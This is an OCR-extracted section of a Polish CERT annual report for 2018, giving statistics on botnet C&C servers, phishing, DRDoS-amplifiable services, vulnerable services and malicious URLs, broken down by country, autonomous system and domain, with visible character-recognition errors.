Serwery C&C

W 2018 roku otrzymalismy informacje o 39 211 r6znych adresach IP uzywanych jako serwery za-
rzagdzania botnetami (C&C). Z uwagi na charakter zagrozenia, zdecydowaliSmy sie opisac problem
pod katem lokalizacji adresu IP lub domeny najwyzszego poziomu (TLD) nazwy domenowej C&C.
W statystykach pomineliSmy zgtoszenia dotyczgce serwerdéw sinkhole CERT Polska, ktérych uzywa-
my do unieszkodliwiania botnetow i wykrywania zainfekowanych maszyn.

OtrzymaliSmy zgtoszenia dotyczgce adresow IP ze 150 krajow. Podobnie jak w poprzednich latach,

najwiecej ztosliwych serwerdéw byto zlokalizowanych w Stanach Zjednoczonych (38 proc.). 74 proc.
sposrod wszystkich serweréw C&C utrzymywanych byto w 10 krajach przedstawionych w tabeli 11.

NASK



Poz. Kraj Liczba IP Udziat

1 USA 14 747 37,61%
2 Niemcy 2792 7,12%
3 Rosja 2779 7,09%
4 Holandia 2215 5,65%
5 Francja 1928 4,92%
6 Wielka Brytania 1514 3,86%
7 Chiny 1004 2,56%
8 Kanada 992 2,53%
9 Japonia 610 1,56%
10 Rumunia 561 1,43%
17 Polska 383 0,98%

Tabela 11. Kraje z najwigkszg liczbg serweréw C&C.

Zaobserwowalismy 3 772 rézne systemy autonomiczne, w ktérych umiejscowione byty serwery
C&C. Dziesie¢ systeméw autonomicznych zawierato ponad 24 proc. wszystkich ztosliwych serwe-
row. Szczegoty znajduja sie w tabeli 12.

Poz. Numer AS Nazwa Liczba IP Udzial
1 16276 OVH 2017 5,14%
2 13335 Cloudflare 1623 4,14%
3 16509 Amazon 1321 3,37%
4 26496 GoDaddy 985 2,51%
5) 46606 Unified Layer 743 1,89%
6 20013 CyrusOne 720 1,84%
7 14618 Amazon 607 1,55%
8 24940 Hetzner Online GmbH 583 1,49%
9 8560 1&1 Internet SE 496 1,26%
10 14061 DigitalOcean 433 1,10%

Tabela 12. Systemy autonomiczne z najwiekszg liczbg serweréw C&C.
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W Polsce serwery C&C byly aktywne pod 383 réznymi adresami IP (17. miejsce z udziatem 0.98
proc.), w 98 systemach autonomicznych. W tabeli 13. prezentujemy zestawienie dziesieciu sys-
teméw autonomicznych, w ktérych znajdowato sie najwiecej ztosliwych serweréw zarzgdzajgcych
botnetami. W sumie zawieraty ponad potowe wszystkich C&C w Polsce.

Poz. Numer AS Nazwa AS Liczba IP Udziat
1 12824 home.pl 67 17,49%
2 16276 OVH 41 10,70%
3 5617 Orange 28 7,31%
4 15967 Nazwa.pl 27 7,05%
5 41079 H88 14 3,66%
6 197226 Sprint 14 3,66%
7 29522 KEI 10 2,61%
8 21021 Multimedia 8 2,09%
9 198414 H88 8 2,09%

10 50599 Data Invest 7 1,83%

Tabela 13. Systemy autonomiczne, w ktérych hostowanych jest najwiecej C&C w Polsce.

Otrzymalidmy réwniez zgtoszenia o 50 609 petnych nazwach domenowych (FQDN), ktére petnity
role serwerdw zarzgdzajgcych botnetami. Zostaty one zarejestrowane w obrebie 385 domen najwyz-

szego poziomu (TLD), z czego ponad 40 proc. w TLD .com.

Zestawienie najpowszechniejszych TLD przedstawiamy w tabeli 14. Jako C&C wykorzystywanych

byto 330 domen w .pl, z czego dla 57 adreséw domeng drugiego poziomu byta cba.pl.

Poz. TLD Liczba Domen Udziat
1 .com 20 638 40,78%
2 .net 8 339 16,48%
3 .org 1957 3,87%
4 .ru 1609 3,18%
5 .info 1540 3,04%
6 Xyz 1089 2,15%
7 .uk 1034 2,04%
8 .pw 857 1,69%
9 .br 577 1,14%
10 .us 570 1,13%
17 .pl 330 0,65%

Tabela 14. Domeny najwyzszego poziomu, w ktérych zarejestrowano serwery C&C.
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Phishing

W tym podrozdziale uwzgledniamy wytacznie statystyki dotyczgce phishingu w tradycyjnym rozu-
mieniu tego stowa, czyli podszywania sie (przede wszystkim z wykorzystaniem poczty elektronicznej
i stron WWW) pod znane marki, zeby wytudzi¢ wrazliwe dane. Nie odnosimy sie wiec ani do wytu-
dzania danych przy pomocy ztosliwego oprogramowania, ani do podszywania sie np. pod dostaw-
cow faktur celem dystrybucji ztosliwego oprogramowania. Statystyki dotyczg stron zlokalizowanych
w Polsce, a wiec nie uwzgledniajg atakdéw phishingowych na polskie instytucje przy uzyciu stron
utrzymywanych za granica.

W roku 2018 otrzymalismy tgcznie 77 536 zgtoszen phishingu w polskich sieciach. Dotyczyly one
adreséw URL z 5 566 domen prowadzacych do stron, ktére rozwigzywaty sie na 1 885 unikalnych
adresow IP.

Poz. Numer AS Nazwa AS Liczba IP Liczba domen
1 12824 home.pl 553 930
2 15967 Nazwa AS 260 439
3 16276 OVH 113 306
4 205727 Aruba 92 321
5 41079 H88 90 296
6 5617 Orange 71 14
7 29522 KEI 66 95
8 198414 H88 48 110
9 197226 Sprint 43 1852

10 8308 NASK 36 63

Tabela 15. Polskie systemy autonomiczne, w ktorych znajdowato sie najwiecej stron phishingowych.

Ustugi pozwalajace na prowadzenie atakéw DRDoS

W roku 2018 otrzymalismy informacje o 5 206 170 unikalnych adresach IP umozliwiajgcych prze-
prowadzenie odbitych atakéw DDoS (Distributed Reflection Denial of Service - DRDoS), sposrdd
ktorych 1 916 673 dziataty na terenie Polski. Ponizej przedstawiamy zestawienie ustug, ktére mogty
by¢ wykorzystane do atakéw i byly najliczniej reprezentowane w polskim internecie. Na kolejnych
stronach omoéwimy te ustugi. UwzgledniliSmy adresy IP z ustugami ktére faktycznie sg zle skon-
figurowane, a takze ustugi, ktére sg dostepne intencjonalnie (np. publiczne open resolvery) oraz
systemy honeypot.

Rozmiar systemu autonomicznego (AS) ustalilismy na podstawie danych pochodzgcych z RIPE
z 30 czerwca 2018 roku.
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Odchylenie

Nazwa ustugi . Srednia_ dzienna Mak_simum standardo- S -

liczba unikalnych IP dzienne we obserwacji
1 dns 53 519 68 868 22 301 99,45%
2 snmp 29 094 34 280 5721 90,96%
3 ntp 27 679 31333 6 063 90,41%
4 portmapper 25419 31662 5528 92,33%
5 ssdp 21 355 27 804 5431 93,15%
6 netbios 17 909 37 599 5843 93,15%
7 mdns 5703 7 005 1267 90,68%
8 mssql 4 420 5092 757 93,15%
9 chargen 326 604 44 92,88%
10 gotd 83 112 16 92,88%
11 xdmcep 79 200 23 90,14%

Tabela 16. Zestawienie najpopularniejszych, niepoprawnie skonfigurowanych ustug mozliwych do wykorzystania w atakach
DRDoS. Odchylenie standardowe dotyczy zmienno$ci w dziennej liczbie adreséw IP obserwowanych na przestrzeni roku,
taczny czas obserwacji odpowiada czesci roku, dla ktérych mielismy informacje o danej ustudze.

W ciggu roku zaobserwowaliSmy znaczgce zmiany w liczbie obserwowanych urzgdzen, ktére mogag
zosta¢ uzyte do przeprowadzania ataku wzmocnionego DoS/DDoS. Na wykresie nr. 6. przedstawi-
lismy liczbe urzgdzen, w rozbiciu na ustugi dostepne z internetu, ktére mogg byé wykorzystane do
tego rodzaju atakow. Wykresy obrazujg zmiany w dziennej liczbie unikalnych adresow IP zarejestro-
wanych przez system n6 dla najczesciej zgtaszanych ustug.

Pozytywnym trendem jest stopniowy, ale znaczacy spadek liczby ustug NTP, Portmapper oraz otwar-
tych resolveréw. Zauwazalne wzrosty zanotowali$my natomiast dla ustug SSDP — gtéwnie za spra-
wa zmiany w sieci Plus oraz T-Mobile.
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Wykres 6. Najpowszechniejsze Zle skonfigurowane ustugi, mogace bra¢ udziat w atakach DDoS. Wykres ukazuje zmiany
liczebnosci unikalnych adreséw IP w Polsce w ciggu roku 2018.
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Otwarte serwery DNS

Najpopularniejszg obserwowang przez nas niebezpieczng ustugg widoczng publicznie w polskim
internecie jest DNS (Domain Name System), ktéra stuzy do rozwigzywania nazw mnemonicznych
na adresy IP. Pomimo jej kluczowego znaczenia dla dziatania Internetu, serwery DNS nie powin-
ny odpowiada¢ na zapytania z catej sieci Internet (tzw. open resolver), lecz tylko na zapytania od
ograniczonej grupy adresow. W roku 2018 otrzymali$§my informacje o 702 591 unikalnych adresach
IP z uruchomionym otwartym resolverem. To spadek o ok. 300 tys. w poréwnaniu z 2017 rokiem.
Dzienna srednia wyniosta 53 519. Podobnie jak w ubiegtych latach, w zestawieniu systeméw au-
tonomicznych dominowat system 5617 nalezgcy do Orange. Niepokojgcym trendem jest rosnaca
liczba open resolveréw w sieci Netii (AS 12741) oraz wysoki odsetek adresow w sieciach Politechniki
Koszalinskiej (AS 28797) oraz Onefone (AS 24577).

. Odsetek
Nazwa AS :;f:nn;: Maksimum was;l)-/:stgi’c‘:’h
w AS

1 5617 Orange 38 958 52 069 0,70%
2 9143 Ziggo 4454 4 856 0,12%
3 12741 NETIA 1521 2 595 0,09%
4 6830 UPC 483 846 0,00%
5 29314 Vectra 480 695 0,09%
6 24577 Onefone 451 507 14,68%
7 35007 Miconet 370 528 5,16%
8 28797 Politechnika Koszalifiska 339 339 16,55%
9 31242 3S 327 506 0,32%
10 20960 TK Telekom 303 460 0,12%

Tabela 17. Liczba adreséw IP, na ktérych wykryto otwarty serwer DNS w podziale na systemy autonomiczne.
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SNMP

SNMP (Simple Network Management Protocol) to protokét stworzony do zdalnego zarzadzania
urzgdzeniami sieciowymi. Zalecane jest uzywanie go wylgcznie w odseparowanych sieciach dedy-
kowanych zarzgdzaniu, istniejg jednak instancje SNMP widoczne w internecie. Poza zagrozeniem
nieuprawnionego dostepu do urzgdzenia, ustuga SNMP, do ktérej mozna potgczy¢ sie z internetu,
moze by¢ wykorzystana do atakéw DDoS.

W 2018 r. zebraliSmy informacje o 804 243 unikalnych adresach IP pochodzgcych z Polski, na kt6-
rych udostepniono te ustuge. To spadek o ok. 200 tys. w poréwnaniu do 2017 r. Srednia dzienna
wyniosta 29 094 unikalnych adreséw IP. Utrzymuje sie wysoki odsetek adreséw w Powszechnej
Agencji Informacyjnej. Uwage zwraca rowniez wysoki odsetek w sieci NETCOM (AS 199978). Zaob-
serwowalismy gwaltowng tendencje spadkowg (niemal do zera) w sieci Multimedia (AS 21021) oraz
w sieci TK Telekom (z ok. 4,5 tys. na poczatku roku do niespetna 3 tys. na poczatku pazdziernika
i do konca roku).

. Odsetek
Nazwa AS Sr_ednla Maksimum wszystlflch
dzienna adresow
w AS
1 12741 Netia 6 431 7 585 0,39%
2 5617 Orange 5 386 9370 0,09%
3 20960 TK Telekom 3 541 4 482 1,42%
4 8798 Powszechna Agencja 890 972 11,21%
Informacyjna 1< 5/0
5 20804 Exatel 836 1014 0,33%
6 43939 Internetia 478 617 0,18%
7 199978 NETCOM 332 412 10,80%
8 50606 Virtuaoperator 330 509 2,18%
9 8374 Polkomtel 329 394 0,02%
10 60920 Net Center 305 640 14,89%

Tabela 18. Liczba adreséw IP, na ktérych wykryto dziatajgcg ustuge SNMP dostepng na publicznym interfejsie w podziale na
systemy autonomiczne.
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NTP

Network Time Protocol (NTP) jest powszechnym protokotem synchronizacji czasu uzywanym
w sieciach komputerowych. Publicznie dostepne serwery NTP, kt6re udostepniajg polecenie monlist,
mogg by¢ jednak wykorzystane do atakéw DDoS. W 2018 r. otrzymali$my tgcznie 9 162 992 zgto-
szenia o 367 882 unikalnych adresach IP (spadek o ok. 17 proc. w poréwnaniu do 2017 r.), Srednia
dzienna liczba unikalnych adreséw wyniosta 27 679.

. Odsetek
Nazwa AS zieednnri: Maksimum w:;:’:;gi;h
w AS

1 5617 Orange 7 486 8 582 0,13%
2 12741 Netia 2 896 3482 0,17%
3 13110 INEA 680 837 0,40%
4 8374 Polkomtel 602 708 0,04%
5 31242 3S 554 998 0,55%
6 20960 TK Telekom 498 580 0,20%
7 197502 WMC 480 813 46,87%
8 9143 Ziggo 448 480 0,01%
9 8798 Powszechna Qﬁg”cia 433 482 5,45%
10 6830 UPC 428 546 0,00%

Tabela 19. Liczba adresoéw IP, na ktérych wykryto dziatajagcg ustuge NTP dostepng na publicznym interfejsie w podziale na
systemy autonomiczne.
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Portmapper

Portmapper to niskopoziomowa ustuga typowa dla uniksowych systemow operacyjnych. Korzystajg
Z niej protokoty wyzszych warstw, w tym m.in. NFS (sieciowy system plikow). Publicznie dostepny
portmapper stanowi zagrozenie ze wzgledu na mozliwos¢ jego wykorzystania w atakach DDoS.

Srednio dziennie obserwujemy 25 419 adreséw IP (spadek o ok. 20 proc. w poréwnaniu z danymi
z 2017 r.), na ktérych jest uruchomiona ta ustuga. Uwage zwraca duzy odsetek adreséw w sieciach
H88 (cho¢ malejgcy w skali roku) oraz ATMAN. Zauwazalny jest rowniez duzy spadek w sieci KEI
oraz nazwa.pl. Widzimy za to stopniowy wzrost w sieci najliczniej reprezentowanej - OVH.

. Odsetek
Nazwa AS zfednnr:: Maksimum w:::’:stg:h
w AS

1 16276 OVH 3343 4 330 0,12%
2 5617 Orange 1573 1883 0,02%
3 57367 ATMAN 1384 1652 8,71%
4 41079 H88 1074 1782 14,46%
5 29522 KEI 1067 1832 1,56%
6 198414 H88 847 1454 8,94%
7 29314 Vectra 802 921 0,15%
8 12741 Netia 769 974 0,04%
9 15967 Nazwa.pl 693 1989 0,70%
10 197226 Sprint 375 660 2,44%

Tabela 20. Liczba adreséw IP, na ktorych wykryto dziatajgcg ustuge Portmapper dostepng na publicznym interfejsie w podziale
na systemy autonomiczne.
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SSDP

Simple Service Discovery Protocol to protokot stuzgcy do wykrywania urzadzen, bedacy czescia
standardu Universal Plug and Play (UPnP). SSDP w zamierzeniu jest wykorzystywany w niewielkich
sieciach lokalnych i nie powinien by¢ dostepny z internetu.

W 2018 r. otrzymalismy 7 260 981 zgtoszeh o 725 553 unikalnych adresach IP - to spadek o ponad
350 tys. w poréwnaniu do 2017 roku.

Uwage zwraca wysoki odsetek w sieci Derkom (AS 197697), gwattowny spadek w sieci Servcom (do
kilku unikalnych IP od konca sierpnia), powolny spadek w sieci Multimedia (o ponad potowe w ciggu
roku) oraz niewielki wzrost w T-Mobile (AS 12912).

. Odsetek
Nazwa AS 3:;::2 Maksimum w:;fstgi;h
w AS

1 5617 Orange 5 594 7108 0,10%
2 29314 Vectra 1583 2234 0,29%
3 12741 Netia 1514 2 007 0,09%
4 41256 Servcom 1079 1903 2,84%
5 9143 Ziggo 874 1152 0,02%
6 8374 Plus 717 973 0,05%
7 197697 Derkom 533 1026 10,41%
8 50231 Syrion 473 596 4,73%
9 21021 Multimedia 363 723 0,05%
10 57101 WP System 302 359 5,61%

Tabela 21. Liczba adresow IP, na ktérych wykryto dziatajgcq ustuge SSDP dostepng na publicznym interfejsie w podziale na
systemy autonomiczne.
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NetBIOS

NetBIOS to niskopoziomowy protokdt wykorzystywany przede wszystkim przez systemy Microsoft.
Powinien by¢ uzywany wytgcznie w sieciach lokalnych, a jesli jest dostepny z sieci publicznej, sta-
nowi zagrozenie - nie tylko w zwigzku z mozliwoscig wykorzystania w atakach DDoS. Otrzymalismy
6 099 021 zgtoszen o 98 920 unikalnych adresach IP (spadek o ok. 40 tys.), dzienna $rednia wynio-
sta 17 909.

W roku 2018 obserwowalismy stopniowy spadek liczby adreséw IP z uruchomionym NetBIOS-em.
Jedyng anomalig jest pik obserwowany rowniez w 2017 roku, tym razem okoto 26 lutego. Pochodzit
on jednak wylgcznie z sieci Orange (AS 5617).

. Odsetek
Nazwa AS zieednnr:: Maksimum W:;ﬁ’:stg:h
w AS

1 5617 Orange 11127 29 045 0,20%
2 12741 Netia 1091 1406 0,06%
3 9143 Ziggo 967 1023 0,02%
4 49185 Protonet 781 1417 3,14%
5 198414 H88 465 876 4,90%
6 16276 OVH 241 357 0,01%
7 8267 Cyfronet AGH 172 233 0,22%
8 12824 Home.pl 157 202 0,07%
9 8374 Plus 135 169 0,01%
10 13110 INEA 119 150 0,07%

Tabela 22. Liczba adreséw IP, na ktérych wykryto dziatajacg ustuge NetBIOS dostepna na publicznym interfejsie w podziale na
systemy autonomiczne.
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Podatne ustugi

W tej sekcji przedstawiamy statystyki dotyczgce ustug, ktére sg narazone na ataki oraz wycieki infor-
macji. Sg to zaréwno ustugi, ktére zawierajg znane podatnosci, jak i ustugi Zle skonfigurowane, na
przyktad niepotrzebnie dostepne z internetu lub dostepne bez hasta.

W roku 2018 otrzymalismy 162 792 811 zgtoszen dotyczacych 2 649 502 unikalnych polskich adre-
séw IP. Na kolejnych stronach przedstawiamy szczegétowe informacje dla najliczniejszych zagrozen
tego rodzaju. Przedstawione statystyki zostaty obliczone analogicznie jak w podrozdziale dotycza-
cym ustug pozwalajgcych na prowadzenie atakéw DRDoS (por. str. 111).

W rankingu najczesciej wystepujgcych podatnych ustug wysoko znajdujg sie TFTP, Telnet i RDP.
Tego rodzaju ustugi najczesciej zabezpieczane sg poprzez ograniczanie dostepu z zewnetrznych
adresow, dlatego publiczna dostepnos¢ ustugi moze wskazywac na btad konfiguracji i potencjalng
podatnos¢. Natomiast samo zgtoszenie publicznej dostepno$ci ustugi nie znaczy jeszcze, ze jest
ona podatna. Na przyktad RDP moze mie¢ ustawione silne hasto, stanowigce wystarczajgce zabez-
pieczenie przed nieuprawnionym dostepem - o ile nie zostanie wykryta nowa podatno$¢ w aplikaciji,
ktéra pozwoli obejs¢ uwierzytelnienie.

Podobne rozumowanie trudniej zastosowaé do baz danych lub podobnych aplikacji (Memcached,
MongoDB, Elasticsearch, Redis, DB2). W ich przypadku dostep publiczny jest niemal na pewno
wynikiem btednej konfiguracji i nalezy takg sytuacje traktowaé jako podatnosé.

Nazwa Srednia dzienna Maksimum Odchylenie Czas
podatnosci liczba IP dzienne standardowe obserwacji
SSL-POODLE 255 546 312 044 64 918 89,04%
CWMP 62 332 75744 13 744 93,15%
TFTP 48 648 59 758 10 648 93,42%
RDP 36 180 43 847 8 532 93,70%
Telnet 31512 41 663 8 271 94,52%
NAT-PMP 10 859 15 628 2942 91,78%
ISAKMP 10 156 11 758 2 011 88,77%
SSL-FREAK 9 701 13 885 3649 92,88%
VNC 8 683 11 478 1616 90,96%
SMB 8 324 11725 1834 93,70%
IPMI 1388 1602 212 92,88%
LDAP 480 921 126 92,60%
MongoDB 404 499 74 92,60%
Memcached 286 667 139 93,42%
Elasticsearch 86 107 12 93,42%
Redis 73 101 17 92,60%

Tabela 23. Zestawienie najliczniej wystepujgcych w Polsce zagrozonych ustug. Odchylenie standardowe dotyczy zmienno$ci
w dziennej liczbie adreséw IP obserwowanych na przestrzeni roku. tgczny czas obserwacji odpowiada liczbie dni w ciggu roku,
dla ktérych mielismy informacje o danej ustudze.
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POODLE

Znane podatnosci protokotu SSL/TLS sg nadal powszechnym zjawiskiem wsrod uzytkownikéw pol-
skiego internetu. Zdecydowanie najczesciej wystepujacy jest POODLE, ktéra umozliwia atak dopro-
wadzajgcy do ujawnienia zaszyfrowanych informacji.

Otrzymalismy 84 120 432 zgtoszenia o 977 498 unikalnych adresach IP (spadek o 155 tys. wobec
2017 r.), a dzienna $rednia wyniosta 255 546 unikalnych adreséw. Podobnie jak w poprzednich
latach, pierwsze dwa miejsca zajmujg sieci Netia (AS 12741) oraz Internetia (AS 43939). Wsrod
10 sieci z najwigksza $rednig liczbg serweréw podatnych na POODLE zwraca rowniez uwage sie¢
Petrotel z niemal 20 proc. odsetkiem adreséw. Dobrym trendem jest spadek liczby ustug w sieci H88
(AS 198414) z okoto 1200 adreséw na poczatku roku do okoto 500 adreséw na koncu roku.

Mimo powszechnego wystepowania, POODLE nie jest podatnoscig najwyzszego ryzyka, poniewaz
nie umozliwia kradziezy kluczy kryptograficznych, ani bezposrednio przejecia kontroli nad serwe-
rem, a takze wymaga aktywnego przechwycenia sesji TCP (atak typu man-in-the-middle).

. Odsetek
Nazwa AS giieednnr:: Maksimum w:;g:;xh
w AS

1 12741 Netia 185 251 228 509 11,26%
2 43939 Internetia 28 539 33 949 10,80%
3 5617 Orange 8 149 10 247 0,14%
4 29007 Petrotel 3160 3762 19,28%
5 16276 OVH 1561 2337 0,05%
6 6830 UPC 1083 1351 0,01%
7 15694 ATMAN 736 892 0,94%
8 198414 H88 723 1325 7,63%
9 21021 Multimedia 655 857 0,10%
10 29314 Vectra 591 783 0,11%

Tabela 24. Liczba adreséw IP, na ktérych wykryto ustuge SSL z podatnoscia POODLE w podziale na systemy autonomiczne.
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CWMP

CWMP to ustuga oparta na specyfikacji TR-069, implementowana najczesciej w domowych route-
rach DSL. Umozliwia zdalne zarzgdzanie urzgdzeniem przez operatoréw, np. aktualizacje firmware.
Niepoprawna implementacja tej ustugi pozwala na przejecie catkowitej kontroli nad urzgdzeniem
przez atakujgcego. Podatno$c¢ te wykorzystuje m.in. Mirai, infekujgc kolejne urzgdzenia.

Otrzymalismy 21 268 845 zgtoszen o 1 868 687 unikalnych adresach IP z dostepnym publicznie
CWMP (spadek o okoto 160 tys. w poréwnaniu do 2017 r.). Dzienna $rednia unikalnych adreséw wy-
niosta 62 332. Zauwazalne sg istotne spadki (o ponad potowe) w sieciach T-Mobile (AS 12912) oraz
Multimedia (AS 21021), zwraca jednak uwage duzy odsetek sieci w Agencji Rozwoju Regionalnego
(AS 41023).

. Odsetek
Nazwa AS Srfednla Maksimum wszystlflch
dzienna adresow
w AS
1 5617 Orange 42 880 52 915 0,77%
2 12741 Netia 11 414 14 063 0,69%
3 12912 T-Mobile 1349 2 297 0,19%
4 49185 Protonet 732 1462 2,94%
5 21021 Multimedia 670 1054 0,11%
6 41023 REEER e 635 753 17,71%
Regionalnego ’
7 43679 Petrus 350 587 3,41%
8 50231 Syrion 334 781 3,34%
9 51337 Debacom 296 359 4,81%
10 50606 Virtuaoperator 294 364 1,95%

Tabela 25. Liczba adreséw IP, na ktérych wykryto ustuge CWMP dostepng na publicznym interfejsie w podziale na systemy
autonomiczne.
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TFTP

TFTP (Trivial File Transfer Protocol) jest prostym protokotem transferu plikow. Ze wzgledu na brak
mechanizmu uwierzytelniania uzytkownikow, nie zalecamy udostepniania tej ustugi w sieci internet,
poniewaz moze to prowadzi¢ do wycieku informacji.

W 2018 r. otrzymalismy 16 648 837 zgtoszen o 413 402 unikalnych adresach IP (spadek o ok. 24
proc.) z dostepnym z internetu TFTP. W trakcie roku obserwowali$my stopniowy spadek liczebnosci
ustugi w sieci Orange (z ok. 50 tys. do 35 tys.) oraz Protonet (o ponad potowe, AS 49185). Niepokoi
wysoki odsetek sieci Spétdzielni Mieszkaniowej ,Poinoc” (AS 198000).

. Odsetek
Nazwa AS giieednnr:: Maksimum W:;ﬁ’:stg:h
w AS

1 5617 Orange 38 303 49 029 0,69%
2 9143 Ziggo 4 835 5086 0,13%
3 | 198000 | . Seoldzellia 1484 1739 16,10%
4 49185 Protonet 1228 1915 4,94%
5 12741 Netia 1192 1466 0,07%
6 21021 Multimedia 532 626 0,08%
7 50231 Syrion 327 784 3,27%
8 199201 SPI-NET 262 506 8,52%
9 200125 AVITO 141 181 4,58%
10 198766 Netsystem 136 178 3,13%

Tabela 26. Liczba adreséw IP, na ktérych wykryto ustuge TFTP dostepnag na publicznym interfejsie w podziale na systemy auto-
nomiczne.
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RDP

Protokét RDP (Remote Desktop Protocol) jest wlkasnosciowym protokotem stworzonym przez Micro-
soft, stuzgcym do zdalnego dostepu do srodowisk graficznych w systemach Windows. Pomimo wy-
gody dostepu do systeméw, ekspozycja portu 3389 na interfejsach zewnetrznych jest niezalecana.
W 2018 r. otrzymalismy 12 758 217 zgtoszen o 544 621 unikalnych adresach IP, na ktérych wykryto
ustuge RDP dostepng na publicznym interfejsie.

. Odsetek
Nazwa AS 3:;::2 Maksimum w:;fstgi;h
w AS

1 5617 Orange 15218 19 564 0,27%
2 12741 Netia 2 956 3741 0,17%
3 16276 OVH 1295 1712 0,04%
4 9143 Ziggo 1232 1587 0,03%
5 6830 UPC 1153 1347 0,01%
6 57129 Optibit 699 1004 0,52%
7 8374 Plus 633 753 0,04%
8 21021 Multimedia 483 587 0,07%
9 13110 INEA 465 564 0,27%
10 12912 T-Mobile 405 484 0,06%

Tabela 27. Liczba adreséw IP, na ktérych wykryto ustuge RDP dostepng na publicznym interfejsie w podziale na systemy autono-
miczne.
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Telnet

Telnet jest przestarzatym protokotem komunikacyjnym do obstugi zdalnego terminala, poprzedni-
kiem wspoétczesnego SSH. Jego najwiekszg stabos$cig jest catkowity brak szyfrowania, dlatego nie
nalezy go uzywac, zwtaszcza w sieciach publicznych. W roku 2018 zebraliSmy 10 942 498 zgtoszeh
dotyczgcych 611 179 unikalnych adresow IP (spadek z 784 999 w poréwnaniu do 2017 r.). Pozy-
tywnym trendem w ujeciu rocznym jest spadek hostow z otwartg ustugg Telnet w sieciach Exatel
(AS 20804) oraz TK Telekom (AS 20960) o okoto potowe.

. Odsetek
Nazwa AS zieednnr:: Maksimum W:;ﬁ’:stg:h
w AS

1 5617 Orange 6 860 8 830 0,12%
2 12741 Netia 6 247 8125 0,37%
3 9143 Ziggo 1049 1436 0,02%
4 21021 Multimedia 595 778 0,09%
5 8374 Polkomtel 551 675 0,04%
6 6830 UPC 500 644 0,00%
7 20960 TK Telekom 469 738 0,18%
8 35191 ASTA-NET 424 511 0,72%
9 20804 Exatel 404 657 0,16%
10 43939 Internetia 349 439 0,13%

Tabela 28. Liczba adreséw IP, na ktérych wykryto ustuge Telnet dostepng na publicznym interfejsie w podziale na systemy
autonomiczne.
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Ztosliwe strony

W ubiegtym roku zebraliSmy informacje o 4 457 213 unikalnych adresach URL zwigzanych z dziatal-
noscig szkodliwego oprogramowania, z czego 93 266 adreséw byto w domenie .pl. 30 456 ztosliwych
adresow URL rozwigzywato sie na polskie adresy IP. Najpopularniejsze systemy autonomiczne,
w ktérych znajdowaty sie te adresy IP przedstawiono w tabeli 30.

Najpopularniejszymi domenami wsrod ztosliwych adreséw URL z podziatem na domene drugiego
poziomu byty: chomikuj.pl (66 861 wystgpien) oraz com.pl (2 144).

d:;f::"_‘pl Adres IP

1 100 217.97.216.17 5617 Orange
2 82 144.76.61.239 24940 Hetzner
3 81 91.102.114.204 31229 E24

4 71 95.211.144.65 60781 LeaseWeb
5 51 37.59.49.187 16276 OVH

6 48 85.128.128.99 15967 Nazwa.pl
7 43 87.98.239.19 16276 OVH

8 41 195.114.0.64 41079 H88

9 38 193.203.99.114 47303 Redefine
10 37 193.109.246.54 29076 CityTelecom

Tabela 29. Adresy IP, na ktorych utrzymywano najwiecej domen .pl zwigzanych ze zto$liwym oprogramowaniem.
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Raport Roczny 2018 121

Liczba IP Frocent
sieci

1 1.010 12824 home.pl 0,49% 30,07%
2 520 15967 Nazwa.pl 0,53% 15,48%
3 225 16276 OVH 0,01% 6,70%
4 134 41079 H88 1,80% 3,99%
5 114 29522 KEI 0,17% 3,39%
6 75 197226 SPRINT 0,49% 2,23%
7 53 205727 Aruba 0,43% 1,58%
8 50 57367 ATM 0,32% 1,49%
8 50 198414 H88 0,48% 1,49%
8 50 15694 ATM 0,06% 1,49%
11 48 8308 NASK 0,02% 1,43%
12 44 5617 Orange 0,00% 1,31%

Tabela 30. Systemy autonomiczne, gdzie utrzymywano najwiecej ztosliwych stron.
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